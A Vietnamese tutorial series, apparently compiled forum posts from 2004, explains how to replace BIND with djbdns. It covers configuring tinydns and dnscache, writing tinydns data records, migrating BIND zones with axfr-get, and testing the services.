-16- Nhu cầu resolve có thể tạm tách biệt với hai trường hợp chính: resolve cho các host / domain nội bộ và resolve cho các host / domain công cộng. Ví dụ bạn làm chủ ba tên miền công cộng: 123.com, 456.com và 789.com, đồng thời bạn dùng dạng 123.lan cho các máy bên trong nội mạng, tinydns có thể được thiết lập để cho phép từng khu vực có quyền truy cập. Điều này dẫn tới một vấn đề: server A phục vụ dịch vụ "cache" dùng dnscache và server B dịch vụ "authoritative dns" dùng tinydns. Vậy nếu một client M thuộc nội mạng của server A này muốn resolve một host xyz thuộc domain 123.com (xyz.123.com) thì sao? Câu trả lời hết sức đơn giản: dnscache và tinydns vẫn giữ vững vai trò của chúng. vấn đề này có thể minh hoạ như sau:

- client M gởi request đến server A cho thông tin về host xyz.123.com
- dnscache của server A sẽ tiếp nhận request và gởi request đến một trong các root DNS servers trên Internet
- root DNS servers sẽ delegate dnscache của server A xuống nhóm .com để tiếp tục tìm thông tin
- authoritative DNS server của 123.com sẽ trả lời dnscache - trong trường hợp này authoritative DNS server của 123.com chính là tinydns trên server B
- dnscache trả lời client M với thông tin tìm được và lưu trữ thông tin này trong cache

Phân tích trên cho trường hợp bạn muốn dnscache và tinydns hoàn toàn độc lập và thực hiện đúng chức năng của chúng. Tuy nhiên, nếu muốn ấn định cho dnscache phải trực tiếp liên hệ với tinydns để lấy thông tin về host xyz.123.com thì bạn vẫn có thể thực hiện yêu cầu này bằng cách "ra lệnh" cho dnscache liên hệ trực tiếp với tinydns của bạn. Đường đi ở trên xảy ra y hệt cho trường hợp chỉ có một server chạy cả dnscache và tinydns vì hai dịch vụ này hoàn toàn độc lập.

-17- Theo kinh nghiệm bản thân, một dnscache phục vụ cho gần 4000 máy được ấn định 128Mb RAM, hoạt động liên tục 18 tháng một cách ổn định. Với công ty nhỏ hơn, khoảng 200 máy được ấn định 16Mb RAM, hoạt động liên tục 24 tháng một cách ổn định. Lượng memory ấn định cho dnscache còn tùy vào mức độ truy dùng Internet và nhu cầu giải danh của từng môi trường làm việc. Bạn cần theo dõi log của dnscache để hình thành giá trị memory thích ứng cho môi trường của mình.

-18- platform independent: không phụ thuộc vào môi trường hoạt động của hệ điều hành.

-19- SSH là Secure SHell, dịch vụ này được cài theo mặc định trên hầu hết các linux distribution và *bsd cũng như trên Solaris và AIX. Cho chi tiết thiết lập, tham khảo tài liệu cụ thể của hệ điều hành bạn dùng.

-20- Phần lớn các dịch vụ SSH đều không cho phép root login từ xa nếu như dịch vụ này được quản trị viên thắt chặt. Trong trường hợp này, bạn có thể tạo một shell script có tên là "restartdns" chẳng hạn trên host red.123.com chứa nội dung tương tự như:
#!/bin/bash
su - /usr/local/bin/svc -t /service/tinydns
Sau đó mới chạy script này từ host red.123.com

Thông tin ở đây chỉ là một giả định, cách thiết kế truy cập trên mỗi môi trường / máy chủ khác nhau. Tuỳ vào sở chọn và kỹ năng của từng người mà thiết kế.

-21- để có thể thực hiện "target" remote, make phải hoàn thành data.cdb trước. Chuyện này rất hiển nhiên và logic vì nếu hồ sơ data.cdb trên primary server không cần cập nhật (từ make) thì việc copy hồ sơ này đến secondary server không cần thiết nữa.
Thay thế BIND với djbdns - phần 3

4.4 Thiết lập tinydns

4.4.1 Khởi tạo dịch vụ tinydns
Khởi tạo dịch vụ cho tinydns tương tự như cho dnscache trên mặt cú pháp. Giả sử chúng ta có domain name là 123.com và public IP dùng cho tinydns là 203.100.10.10 (đây chỉ là IP và domain name giả tưởng, bạn phải dùng IP được dịch vụ cung cấp):
# tinydns-conf tinydns dnslog /var/dns/tinydns 203.100.10.10

trong đó:
- tinydns-conf là chương trình dùng để thiết lập dịch vụ tinydns
- tinydns là tài khoản được tạo ở phần 4.1 dành riêng cho dịch vụ tinydns. Bạn có thể tạo tài khoản này với tên khác để tránh bối rối nếu cần.
- dnslog là tài khoản được tạo dành riêng cho công tác "log".
- /var/dns/tinydns là thư mục chứa các thông tin cần thiết cho dịch vụ tinydns cụ thể "lắng nghe" trên IP 203.100.10.10.
- 203.100.10.10 là IP address được ấn định để lắng nghe dịch vụ dnscache trong trường hợp này.

Nếu lệnh trên chạy thành công sẽ tạo ra cấu trúc thư mục /var/dns/tinydns như sau:
- env/ đây là thư mục chứa các thông tin môi trường cần thiết cho tinydns (bao gồm IP của các tinydns servers và thư mục ROOT mà tinydns được lưu trữ)
- log/ đây là thư mục được tạo ra để lưu trữ logs. Các hồ sơ log này được tài khoản "dnslog" ở trên làm chủ và nó được điều tác qua dịch vụ "multilog" hoàn toàn tự động xoay đổi log. Hồ sơ log hiện dụng luôn luôn có tên là current; nó nằm trong thư mục main bên trong thư mục log này.
- root đây là thư mục sau khi tinydns khởi động sẽ được "chroot" (jailed) và thật sự dịch vụ tinydns không cần phải thoát ra ngoài giới hạn này trong khi hoạt động. Trong thư mục root này có chứa hồ sơ Makefile và một số tiện ích dùng để tạo các giá trị trong hồ sơ "data" và chính hồ sơ "data" cũng sẽ được lưu trữ trong thư mục root này.
- run đây là một shell script để tiện ích "supervise" khởi động tinydns.
- supervise/ thư mục này chứa các hồ sơ dạng đặc biệt dùng để điều tác tình trạng và hoạt động của tinydns.

Tương tự như phần 4.3.1, phương thức tạo dịch vụ tinydns trên một IP address "thật" cần đi xuyên qua bước tạo symbolic link từ /var/dns/tinydns đến /service để cho phép nó khởi động:
# ln -s /var/dns/tinydns /service/

Ra lệnh svc khởi động tinydns:
# svc /service/tinydns

Thử liệt kê dịch vụ bạn sẽ thấy máy đang lắng nghe trên port 53 của IP 203.100.10.10:
# netstat -nau | grep 53

Cần nhắc lại là dnscache và tinydns không thể dùng chung một IP address. Cho nên, nếu cần phải thiết lập cả hai dịch vụ này trên cùng một máy chủ thì phải sắp xếp hai IP addresses riêng biệt. Các IP addresses này có thể là virtual IP trên cùng một NIC (card mạng) hoặc IP address trên hai NIC riêng biệt.

Cũng cần nhắc lại là tinydns là authoritative DNS, nó dùng để trả lời các thỉnh cầu resolve từ Internet đến các host / domain name mà bạn làm chủ hoặc quản lý. Cho nên, máy chủ chạy tinydns để phục công cộng phải được các máy trên Internet "thấy" -13-.

Để tinydns hoạt động theo đúng quy chế và khu vực bạn muốn, bạn cần phải tạo ra hồ sơ "data" và biên dịch nó sau khi hoàn tất hồ sơ này. Quy trình biên dịch sẽ chuyển hồ sơ "data" (dạng ASCII) thành data.cdb (dạng binary). Có hai cách thiết lập hồ sơ dữ liệu cho tinydns, mỗi cách có tiện dụng khác nhau. Bản thân tôi dùng cách "bằng tay" vì dễ dàng sắp xếp các chi tiết trong hồ sơ này, đặc biệt trường hợp phải quản lý nhiều domain và phải thường xuyên thay đổi các chi tiết trong hồ sơ dữ liệu của tinydns, hãy đi xuyên qua hai cách sau:

4.4.2 Cách tạo tinydns data bằng công cụ của bộ nhóm tinydns
Bộ djbdns cung cấp một số công cụ để trợ giúp việc tạo các giá trị cho một DNS server ví dụ như NS, A, MX...

- chuyển vào thư mục "root" của tindns:
# cd /service/tinydns/root

- tạo name server thứ nhất có IP là 203.100.10.10 và giá trị reversed lookup:
# ./add-ns blue.123.com 203.100.10.10
# ./add-ns 10.100.203.in-addr.arpa 203.100.10.10

sẽ tạo ra các giá trị sau trong hồ sơ "data" của tinydns
Code:
.blue.123.com:203.100.10.10:a:259200
.10.100.203.in-addr.arpa:203.100.10.10:a:259200


- tạo name server thứ nhì, có IP là 204.200.20.20 (primary DNS và secondary DNS nên thuộc 2 network khác biệt vì nếu network bị sự cố, ít nhất vẫn còn một name server phục vụ). Tất nhiên name server thứ nhì này phải tồn tại, chúng ta sẽ bàn đến vấn đề sao lưu (duplicate) data.cdb giữa hai tinydns server sau này:
# ./add-ns red.123.com 204.200.20.20
# ./add-ns 20.200.204.in-addr.arpa 204.200.20.20

Code:
.red.123.com:204.200.20.20:a:259200
.20.200.204.in-addr.arpa:204.200.20.20:a:259200


- tạo ra các con trỏ đến các name server ở trên, rất cần thiết vì chính các name server này cần được nhận diện bởi một A record hoặc một PTR record:
# ./add-host blue.123.com 203.100.10.10
# ./add-host red.123.com 204.200.20.20

sẽ tạo ra giá trị sau trong hồ sơ "data" của tinydns
Code:
=blue.123.com:203.100.10.10:86400
=red.123.com:204.200.20.20:86400[code]
- tạo mx record (nếu có mail server) tương tự như trên, dùng tiện ích add-mx:
[b]# ./add-mx mail.123.com 203.100.10.11[/b]
sẽ tạo ra giá trị sau trong hồ sơ "data" của tinydns
[code]@mail.123.com:203.100.10.11:a::86400


- tạo giá trị một host trong hồ sơ dữ liệu của tinydns, giá trị này chính là PTR record (Pointer Record):
# ./add-host web.123.com 203.100.10.12
sẽ tạo ra giá trị sau trong hồ sơ "data" của tinydns
Code:
=web.123.com:203.100.10.12:86400


- tạo một alias cho web host ở trên để trỏ đến 203.100.10.12, giá trị này chính là A record:
# ./add-alias www.123.com 203.100.10.12
sẽ tạo ra giá trị sau trong hồ sơ "data" của tinydns
Code:
+www.123.com:203.100.10.12:86400


Tổng hợp các lệnh trên sẽ tạo ra những giá trị sau trong hồ sơ /service/tinydns/root/data:

Code:
.blue.123.com:203.100.10.10:a:259200
.red.123.com:204.200.20.20:a:259200
.10.100.203.in-addr.arpa:203.100.10.10:a:259200
.20.200.204.in-addr.arpa:204.200.20.20:a:259200
=blue.123.com:203.100.10.10:86400
=red.123.com:204.200.20.20:86400
@mail.123.com:203.100.10.11:a::86400
=web.123.com:203.100.10.12:86400
+www.123.com:203.100.10.12:86400



Dẫu các công cụ trên giúp bạn tạo ra các dữ liệu cần thiết cho một tinydns. Tuy nhiên, nó sẽ tạo không ít bối rối nếu bạn phải quản lý rất nhiều domains và hosts trên tinydns server này. Lý do thứ nhất, các công cụ trên thêm vào các giá trị trong hồ sơ "data", lẫn lộn giữa domain này và domain kia nếu bạn thêm bớt các giá trị này thường xuyên. Để tiện với nhu cầu quản lý, việc tạo ra từng nhóm dữ liệu cho từng domain không thể được nếu dùng các công cụ trên. Lý do thứ nhì, bạn không thể dùng các giá trị ấn định cho các mô hình cao cấp vì năm công cụ add-ns, add-mx, add-host, add-alias, add-childns không đủ để quán xuyến tất cả các trường hợp. Bởi vậy, chúng ta nên đi tiếp phần sau đây.

4.4.3 Cách tạo tinydns data "bằng tay"
Trước khi bắt tay vào việc hình thành một hồ sơ "data" cho tinydns, bạn nên biết qua các ký hiệu được dùng để mang giá trị cụ thể cho từng thông tin ứng dụng cho tinydns, các ký hiệu này được tóm gọn như sau:
Code:
Dấu hiệu Tương tự với
. SOA, NS, A
& NS, A
@ MX, A
= PTR, A
+ A
' TXT
^ PTR
C CNAME
Z SOA
% (dùng để xác định khu vực của clients, hữu dụng nếu phục vụ cho nhiều khu vực, không tạo record nào cả)
# (bị chú, không tạo record nào cả)
- (dùng để tạm tắt bỏ một A record, không tạo record nào cả)
: Tùy người dùng ấn định


Vẫn dùng ví dụ với domain name là 123.com và các IP cần thiết thuộc mạng 203.100.10.0/24, dùng công cụ text processor nào đó (vi chẳng hạn) và thử hình thành một hồ sơ "data" như sau:

Code:
# first ns - SOA entry
.123.com::blue.123.com:259200
# second ns - SOA entry
.123.com::red.123.com:259200
# reversed lookup of first ns
.10.100.203.in-addr.arpa::blue.123.com
# reversed lookup for second ns
.20.200.204.in-addr.arpa::red.123.com
# host entry to point to first ns server
=blue.123.com:203.100.10.10
# host entry to point to second ns server
=red.123.com:204.200.20.20
# mail entry
@123.com::mail.123.com
# host entry of mail server to point to mail server
=mail.123.com:203.100.10.11
# host entry to point to web server
=web.123.com:203.100.10.12
# alias entry to point to web server
+www.123.com:203.100.10.12



Trên mặt nguyên tắc, hồ sơ "data" vừa được tạo ở trên có kết quả tương tự như kết quả được tạo ra từ các công cụ add-ns, add-mx, add-host, add-alias thuộc phần 4.4.2. Điểm khác biệt căn bản của đoạn data ở trên là mỗi giá trị được tạo ra đều có một giá trị PTR (pointer) đi kèm theo để làm "con trỏ". Ví dụ, SOA của ns thứ nhất là: .123.com::blue.123.com:259200 có PTR đi kèm là: =blue.123.com:203.100.10.10. Giá trị PTR đi kèm này còn có thuật ngữ là "a glue" dùng để resolve cho host name blue thuộc domain 123.com. Thử phân tích hai giá trị trên:
Giá trị SOA: .123.com::blue.123.com:259200
Cú pháp của giá trị SOA theo mặc định như sau: .fqdn:ipsmilie:ttl:timestamp:lo
- mở đầu bằng dấu chấm (.) chỉ định cho giá trị SOA (xem bảng tổng kết ở trên, có thể dùng Z để tạo giá trị tương tự).
- 123.com là tên domain (fqdn - fully qualified domain name)
- kế tiếp là IP address của SOA này và sau đó là giá trị x. Giá trị x dùng cho mỗi server khác nhau với mục đích chỉ trả lại 1 kết SOA duy nhất cho mỗi domain. Nếu name server thứ nhất chạy trên server 1 thì sẽ x sẽ có giá trị là a, name server thứ nhì chạy trên server 2 thì x sẽ có giá trị là b, cả hai đều trả về cùng một SOA. Đây là cách Dan Berstein đề nghị. Chúng ta không dùng chúng trong trường hợp này. Chúng ta cũng không dùng phần còn lại chỉ định cho timestamp và giá trị lo như trong cú pháp mặc định. Thay vì đưa vào IP của SOA entry, chúng ta đưa vào hostname (blue.123.com); đây là lý do chúng ta cần tạo "glue" cho SOA này với giá trị: =blue.123.com:203.100.10.10
- phần đuôi đi kèm có giá trị :lo chỉ định cho "location" có thể được trả lời, chúng ta sẽ đi vào chi tiết sau này.

Nếu bạn thấy các chi tiết kỹ thuật này quá rối rắm thì chỉ cần biết khi tạo một SOA (bằng tay) trong hồ sơ data của tinydns, bạn cần hai giá trị được hình thành:
- SOA: .domain::hostname:TTL
- PTR: =hostname:IP
Hoặc cứ theo cú pháp mặc định mà xử dụng.

Tương tự cho các thông tin khác trong hồ hơ "data" ở trên cho mail, web... dựa trên các dấu hiệu đi đầu (=, &, +...) và nếu cần, mỗi giá trị này nên đi kèm với giá trị reverse lookup để kiện toàn cả hai trường hợp: name-to-IP và IP-to-name -14-

4.4.4 axfr-get và tcpclient trong việc chuyển zones của BIND (nếu đang dùng BIND)
Nếu bạn đang dùng BIND và muốn dùng djbdns để thay thế thì chắc hẳn bạn đã có sẵn zones của BIND. Phần 4.2.1 đã giới thiệu cách "rút ruột" các giá trị này. Nếu thành công, bạn hẳn đã có một (hoặc nhiều .zone files nếu có nhiều domains trong zones). Bạn có thể không cần phải thực hiện các bước thiết lập dữ liệu cho "data" file như trên mà chỉ cần chuyển nội dung của .zone file vào data file của tinydns.

Sau đây là phương thức chuyển các giá trị từ .zone files vào data file của tinynds:

- chuyển vào root thư mục của tinydns, với ví dụ này là ở /service/tinydns/root:
# cd /service/tinydns/root

- chuyển nội dung của .zone file sang data file, với ví dụ trong phần 4.2.1 là ở /tmp/bind:
# cat /tmp/bind/*.zone > data -15-

Sau khi thực hiện bước trên, bạn nên mở hồ sơ "data" ra và kiểm tra chi tiết, điều chỉnh chi tiết nếu cần; chú ý các dấu hiệu đi đầu và chỉnh sửa nếu chúng không thích hợp vì có thể có những entry dùng trong zone của BIND khi được chuyển đổi, chúng bị diễn dịch không đúng.

4.4.5 Khởi động dịch vụ tinydns
Sau khi đã hình thành "data" file của tinydns, bạn chỉ cần thực hiện vài bước đơn giản:

- "biên dịch" hồ sơ "data" của tinydns thành dạng .cdb (xem lại phần 4.4.1):
# make
lệnh trên sẽ tạo ra hồ sơ data.cdb trong /service/tinydns/root (với cấu trúc dùng trong ví dụ trên). Nên lưu ý, bạn cần phải "make" sau mỗi lần thay đổi một giá trị nào đó trong hồ sơ "data" để cập nhật "data.cdb", nếu không tinydns vẫn tiếp tục dùng data.cdb có chứa thông tin cũ.

- và tái khởi động dịch vụ tinydns:
# svc -t /service/tinydns

4.4.6 Thử nghiệm và điều chỉnh tinydns
Thử nghiệm tinydns tương tự như thử nghiệm dnscache server như ở phần 4.3.2 trên mặt cú pháp và các công cụ để thử nghiệm. Tuy nhiên, điểm khác biệt căn bản ở chỗ, lần này bạn cần dùng một client nào khác bên ngoài nội mạng của mình (một người bạn dùng một dịch vụ Internet nào khác chẳng hạn). Mục đích thử nghiệm này dùng để đo lường hai điểm quan trọng:
a. tinydns của bạn có thể truy cập được từ Internet hay không? Cho nên trên bình diện thiết kế mạng, server nào chạy tinydns phải được thiết lập để các máy từ Internet có thể truy cập dịch vụ.

b. tinydns của bạn có thể truy cập được từ Internet và trả về đúng giá trị đã thiết lập hay không? Cho nên, trên bình diện thông tin được đưa vào hồ sơ "data", các giá trị MX, A, PTR, SOA.... phải tương ứng đúng với các IP được gán. Nếu các host IP này thuộc một DMZ, chúng phải được định tuyến (route) hoặc NAT hoàn chỉnh. Vấn đề này nằm bên ngoài giới hạn của tài liệu này. Bạn nên làm việc với nhân viên quản lý mạng để hoàn tất vấn đề này nếu bạn không rõ những chi tiết cần thiết về vấn đề routing / natting.

Giả sử hồ sơ "data" của tinydns ở trên có thông tin về domain 123.com và domain này tồn tại, được đăng ký và đưa vào database của name registra nào đó. Từ một máy (của người bạn) đã truy cập vào Internet, bạn có thể đi xuyên qua các bước thử nghiệm ở bước 4.3.2. Nếu kết quả tốt, bạn đã thành công trong việc thiết kế tinydns, nếu bạn có sự cố, kiểm tra lại kỹ lưỡng các phần tố thuộc về (và liên hệ đến) hai điểm a) và b) ở trên. Các thông tin trong /service/tinydns/log/main/current là chìa khoá chính yếu để xác định và khắc phục lỗi. Nên dùng lệnh sau trên một console để theo dõi log của tinydns trong quá trình thử nghiệm:
# tail -f /service/tinydns/log/main/current | tai64nlocal. Phần được "pipe" với lệnh tai64nlocal là để chuyển đổi giá trị thời gian trong "current" log thành UNIX time để dễ theo dõi.

Nếu tinydns của bạn mang thông tin các domain khác mà bạn đã thiết lập (làm chủ hoặc quản lý), các domain và hosts thuộc các domain này cũng cần được thử nghiệm tương tự.

<còn tiếp>
<hnd - vninformatics.com / diendantinhoc.net 11/2004)

Chú thích:
-13- "thấy" trong trường hợp này có nghĩa là máy chủ chạy tinydns có thể tiếp diện với Internet và dùng public IP address. Cũng có thể máy chủ nằm bên trong một DMZ, mang private IP thuộc DMZ đó và router / firewall bên ngoài phải route hoặc NAT đến máy chủ này để cho phép các gói tin từ bên ngoài đi vào cũng như các gói tin đi ra từ máy chủ này. Đây là vấn đề thuộc trách nhiệm thiết kế mạng; quyết định và sắp đặt vị trí của máy chủ chạy tinydns phải được hoàn chỉnh trước khi thiết lập tinydns.

-14- Điều nên chú ý khi bạn "mua" một dedicated server từ một dịch vụ nào đó, giá trị "reverse lookup" thường đã được thiết lập sẵn theo dạng tổng quát để phù hợp với chuỗi IP dịch vụ đó làm chủ. Trong trường hợp này, bạn nên yêu cầu họ thiết lập lại giá trị "reversed lookup" để thích hợp với domain name của bạn. Đây là cách đơn giản nhất. Nếu bạn làm chủ trọn bộ một subnet thì bạn hẳn phải tự lo liệu thông tin reverse lookup cho các IP mình làm chủ.

-15- Nếu data file này hiện có nội dung nào đó thì sẽ bị viết chồng lên, cho nên bạn phải cẩn thận khi dùng ">". Bạn có thể dùng ">>" thay vì ">" để chuyển nội dung với lệnh trên để tránh mất dữ liệu vì nó chỉ viết thêm vào hồ sơ data. Tuy nhiên, dùng >> lại có điểm cần quan ngại là: bạn đã có thông nào đó trong data file và công tác "viết thêm" có thể đưa vào các dữ liệu trùng hợp. Vấn đề này sẽ tạo những trở ngại rắc rối sau này.
4.2 Vài điểm quan trọng trước khi tạo các dịch vụ của bộ djbdns

4.2.1 Điều quan trọng đầu tiên
Điều quan trọng đầu tiên cho những bạn đọc đang dùng BIND và đã có sẵn zones cho các domain mình làm chủ (hoặc quản lý) thì nên theo các bước sau để lưu trữ chúng và đưa vào tinydns data sau này. Lý do nên thực hiện bước lưu trữ zones của BIND ở giai đoạn này là để giảm thiểu những rắc rối sau khi tắt bỏ BIND và khởi tạo dnscache và tinydns sau này. Nếu bạn không dùng BIND hoặc không có database quá lớn cho zones thì bạn có thể bỏ qua bước sau:
- Dùng một loại text processor nào đó theo ý thích (vi hoặc emacs) để kiểm tra hoặc thêm giá trị như sau trong hồ sơ

Code:
/etc/named.conf:
allow-transer { 127.0.0.1; };


cho loopback IP nếu bạn có thể dùng chính máy đang chạy BIND để lấy zone transfer. Hoặc đưa vào IP nào đó tùy thích, miễn sao trên máy có IP bạn đưa vào phải có tcpclient trong bộ ucspi-tcp đã đề cập ở phần 3.2.3. Nên thực hiện bước sau ngay chính trên máy chạy tinydns dùng để thay thế BIND để đơn giản hoá các bước thực hiện. Ví dụ minh hoạ ở đây tôi chỉ chú trọng ngay chính trên máy chạy BIND (và thay thể bởi tinydns).

- thử nghiệm xem bạn có thể thực hiện zone transfer bằng cách dùng tiện ích host (có sẵn trên hầu hết các *nix flavours):

Code:
$ host -l 123.com
123.com SOA 123.com. hostmaster.123.com 10 3600 180 25920 8640
123.com name server ns1.123.com
.....


Nếu bạn không thể thực hiện bước này thì xem lại syslog (thông thường ở /var/log/messages) để tìm lỗi báo và điều chỉnh lại /etc/named.conf cho đúng.

- Chuyển vào thư mục nào đó tạm thời chứa dữ liệu zone của BIND:

# cd /tmp/bind
# tcpclient -v 127.0.0.1 53 axfr-get 123.com 123.com.zone 123.com.tmp


Chuyện gì xảy ra ở đây? axfr-get chạy bên dưới tcpclient dùng để truy cập vào BIND server nội vi và "rút ruột" thông tin zones của domain 123.com dùng trong ví dụ này. Nếu lệnh axfr-get này thực hiện thành công, nó tự động đổi tên 123.com.tmp thành 123.com.zone và hồ sơ này chứa trọn bộ các thông tin liên hệ đến zones của domain 123.com. Hồ sơ này cũng có dạng hoàn toàn tương thích với "tinydns-data" mà chúng ta sẽ đề cập sau. Nên nhớ, phương pháp lấy zone của BIND ở trên rất tiện dụng và dễ dàng, tuy nhiên, nó có một giới hạn là nó chỉ có thể lấy zone của domain 123.com và làm ngơ các domain khác (nếu có trong zones của BIND). Nếu bạn có nhiều domains trong zone thì phải chạy lệnh trên nhiều lần cho mỗi domain name và lưu trữ thông tin đã lấy được ở các hồ sơ riêng biệt để tiện đưa vào "tinydns-data" sau này.

4.2.2 Điều quan trọng kế tiếp
Điều quan trọng kế tiếp trong bước thiết lập các dịch vụ của djbdns là phải tắt bỏ BIND (hoặc dịch vụ DNS nào khác) đang chạy trên server, nếu không các dịch vụ của djbdns sẽ không khởi động được vì socket đã bị chiếm trên cổng 53 UDP/TCP. Thử chạy lệnh:
# netstat -natu | grep 53 xem có dịch vụ DNS đang "lắng nghe" trên cổng 53 UDP và TCP hay không. Nếu có, tắt bỏ dịch vụ này.

- nếu dùng BIND thì đơn giản chạy lệnh:
# /etc/rc.d/init.d/named stop (hoặc dùng đường dẫn đến init script cho named tùy theo distribution bạn dùng cho đúng)

- sau đó, tháo gỡ hết các run level của named khỏi rc2.d, rc3.d, rc4.d, rc5.d bằng tay (xoá hết các symbolic links trong các run level) -7- hoặc dùng chkconfig nếu tiện ích này có trên máy:
# chkconfig --del /etc/rc.d/init.d/named

- nếu dùng một nhu liệu nào khác để tạo dịch vụ DNS thì bạn nên tham khảo tài liệu dành riêng của nhu liệu ấy để tắt bỏ DNS trước khi cài dnscache.

4.2.3 Điều quan trọng sau cùng
Điều quan trọng sau cùng bạn cần ghi nhớ là không thể chạy dnscache và tinydns trên cùng một IP address vì lý do rất căn bản và đơn giản. Như đã sơ lược ở phần 2.2.1 và 2.2.2 ở trên, dnscache "lắng nghe" trên cổng 53 cho cả TCP và UDP, tinydns "lắng nghe" trên cổng 53 UDP. Nếu dnscache khởi động trước và dùng cùng một IP address với tinydns thì tinydns không thể khởi động được vì socket cổng 53 đã bị dnscache chiếm mất. Bởi vậy, bạn có hai lựa chọn:

- chạy dnscache trên một server riêng, tinydns trên một server riêng
- cùng chạy dnscache và tinydns trên một server nhưng phải dành riêng IP address cho mỗi dịch vụ này.

Trên *nix nói chung, việc tạo IP ảo trên cùng một NIC là chuyện hết sức đơn giản và dễ dàng. Tuy nhiên, bạn nên biết điểm đòi hỏi căn bản này để tránh mất thời gian (vì không hiểu sao cả hai dịch vụ dnscache hoặc tinydns không thể cùng chạy vì đã được gán chung một IP address).

4.3 Thiết lập dnscache
Thiết lập dnscache cực kỳ đơn giản. Tùy cấu hình và nhu cầu nhưng tổng quát có hai dạng chính:

4.3.1 Local dnscache (nội vi)
"Nội vi" ở đây là giới hạn resolve -8- cho chính server chạy dnscache vì loopback address (127.0.0.1) sẽ được dùng để "lắng nghe". Đây là cấu hình gọn nhẹ nhất nếu công tác resolve chỉ phục vụ cho chính server này. Các yêu cầu resolve đến từ các máy khác (ngay cả trong nội mạng) không thể thực hiện được.

Dùng tiện ích dnscache-conf thuộc bộ djbdns (sau khi đã cài thành công) để thiết lập dịch vụ dnscache trên loopback IP:
# dnscache-conf dnscache dnslog /var/dns/dnscacheint 127.0.0.1
trong đó:
- dnscache-conf là chương trình dùng để thiết lập dịch vụ dnscache
- dnscache là tài khoản được tạo ở phần 4.1 dành riêng cho dịch vụ dnscache. Bạn có thể tạo tài khoản này với tên khác để tránh bối rối nếu cần.
- dnslog là tài khoản được tạo dành riêng cho công tác "log".
- /var/dns/dnscacheint là thư mục chứa các thông tin cần thiết cho dịch vụ dnscache cụ thể "lắng nghe" trên IP 127.0.0.1. Bạn cần phải tạo thư mục /var/dns/ trước khi chạy lệnh trên vì thư mục "dns" có lẽ chưa tồn tại. Đường dẫn đến thư mục này phải là đường dẫn tuyệt đối (absolute path) và tất nhiên là phải khởi đầu bằng dấu forward slash (/). Bạn có thể tùy chọn vị trí để chứa các thông tin cần thiết cho dịch vụ này, thông thường rất nhiều người dùng /etc/dnscache nhưng tôi tránh đưa vào /etc vì trong thư mục chứa dnscache bao gồm logs và nhiều thành phần khác (không chỉ là hồ sơ cấu hình). Chọn lựa này mang tính cá nhân mà thôi. dnscacheint chỉ cho dnscache internal (nội vi).
- 127.0.0.1loopback address được ấn định để lắng nghe dịch vụ dnscache trong trường hợp này.

Sau khi chạy lệnh trên, dnscache-conf sẽ tự động tạo các thành phần cần thiết để dịch vụ dnscache có thể hoạt động. Cấu trúc trong thư mục /var/dns/dnscacheint sau khi lệnh trên hoàn tất thành công:
- env/ Bất cứ hồ sơ nào thuộc thư mục này dùng để ấn định biến môi trường (environment variables) được dùng cho dnscache.
- log/ Bộ phận "logging" của dnscache được multilog lo liệu, mutilog là một phần của bộ nhu liệu "daemontools". multilog sẽ hoạt động trong phạm vi thư mục này (riêng cho dnscache).
- log/main Các hồ sơ logs sẽ được lưu trữ và cập nhật ở đây. Các hồ sơ logs này sẽ tự động xoay vòng (một phần chức năng của bộ daemontools) và hồ sơ log hiện thời đang cập nhật thông tin mới nhất sẽ luôn luôn là hồ sơ "current" trong thư mục này.
- run Đây là lệnh (đúng hơn là một shell đơn giản) để tiện ích "supervise" khởi động dnscache.
- supervise/ Thư mục này đặc biệt dành riêng cho "supervise" để duy trì hoạt động của dnscache.
- root/ Thư mục này là nơi trở thành thư mục "root" của tinydns sau khi nó được khởi tạo; tương tự như phương thức chroot (hoặc jailed), đây là một tính năng bảo mật của tinydns.
- root/ip/ Như đã phân tích ở phần 2.2.1, dnscache không trả lời từ các host nó không được phép (không ấn định). Khi một máy con gởi request đến dnscache, nó sẽ tìm trong thư mục root/ip/ này xem có hồ sơ nào ấn định và cho phép trả lời cho host ấy (thuộc chuỗi IP nào đó) hay không.
- root/servers/ Thư mục này chứa danh sách các servers dùng để liên hệ lấy thông tin cho từng zone. Theo mặc định, hồ sơ với tên @ chứa 13 "root" DNS servers -9- Đây là nơi bạn tạo hồ sơ để "ra lệnh" cho dnscache liên hệ đến tinydns (hoặc một "authoritative" DNS server nào đó để lấy thông tin.

Tuy nhiên, dịch vụ này sẽ không hoạt động cho đến khi bạn "ra lệnh" cho svscan (đã đề cập trong phần 2.3.1) điều tác:
# ln -s /var/dns/dnscacheint /service

Ra lệnh svc khởi động dnscacheint:
# svc /service/dnscacheint

Lúc này, bạn hẳn sẽ thấy dịch vụ dnscache đang "lắng nghe" trên loopback address:
# netstat -nau | grep 53

4.3.2 Thử nghiệm và điều chỉnh local dnscache
- Thử dùng lệnh sau trên một console để theo dõi hoạt động của dnscache:
# tail -f /var/dns/dnscacheint/log/main/current | tai64nlocal

- Thử thay đổi giá trị /etc/resolv.conf của máy thành nameserver 127.0.0.1 và sau đó thử ping, host, nslookup, dig, và dùng trình duyệt nào đó (lynx, wget, mozilla...) để thử nghiệm dnscache server mới vừa được tạo ra:
# ping www.internic.net
# host www.google.com
# dig localhost www.microsoft.com


- Nếu không thể ping, host, dig như trên thì tham khảo log mà lệnh tail đang chạy trên console ở trên. Hầu hết các trường hợp error vì dnscache không thể khởi động (vì gán account không đúng, tạo dnscache sai cú pháp hoặc quên chưa tạo symbolic link từ nơi chứa dnscache đến /service). Một trường hợp trục trặc không thể loại trừ đó là gán giá trị trong /etc/resolv.conf không đúng. Để thử nghiệm internal dnscache trong trường hợp này, giá trị trong /etc/resolv.conf phải là nameserver 127.0.0.1.

- Bộ djbdns cũng cung cấp một số tiện ích để thử nghiệm rất hay. Bạn có thể thử nghiệm internal dnscache của bạn bằng cách xác định variable DNSCACHEIP trước khi chạy dnsip, một tiện ích trong bộ djbdns:
[/code]$ DNSCACHEIP=127.0.0.1 dnsip www.internic.net[/code]
bạn hẳn sẽ nhận được kết quả IP gán cho www.internic.net nếu như internal dnscache làm việc hoàn chỉnh.

- Nếu muốn tái tạo dnscache vì lý do nào đó, cách đơn giản nhất là:
a) gởi tín hiệu tắt bỏ dịch vụ dnscache (xem lại phần 2.3.1), với ví dụ trên thì:
# svc -d /service/dnscacheint

b) xóa symbolic link từ nơi chứa dnscache (tất nhiên ở chế độ root):
# rm -f /service/dnscacheint

c) xóa trọn bộ thư mục chứa dnscache:
# rm -rf /var/dns/dnscacheint

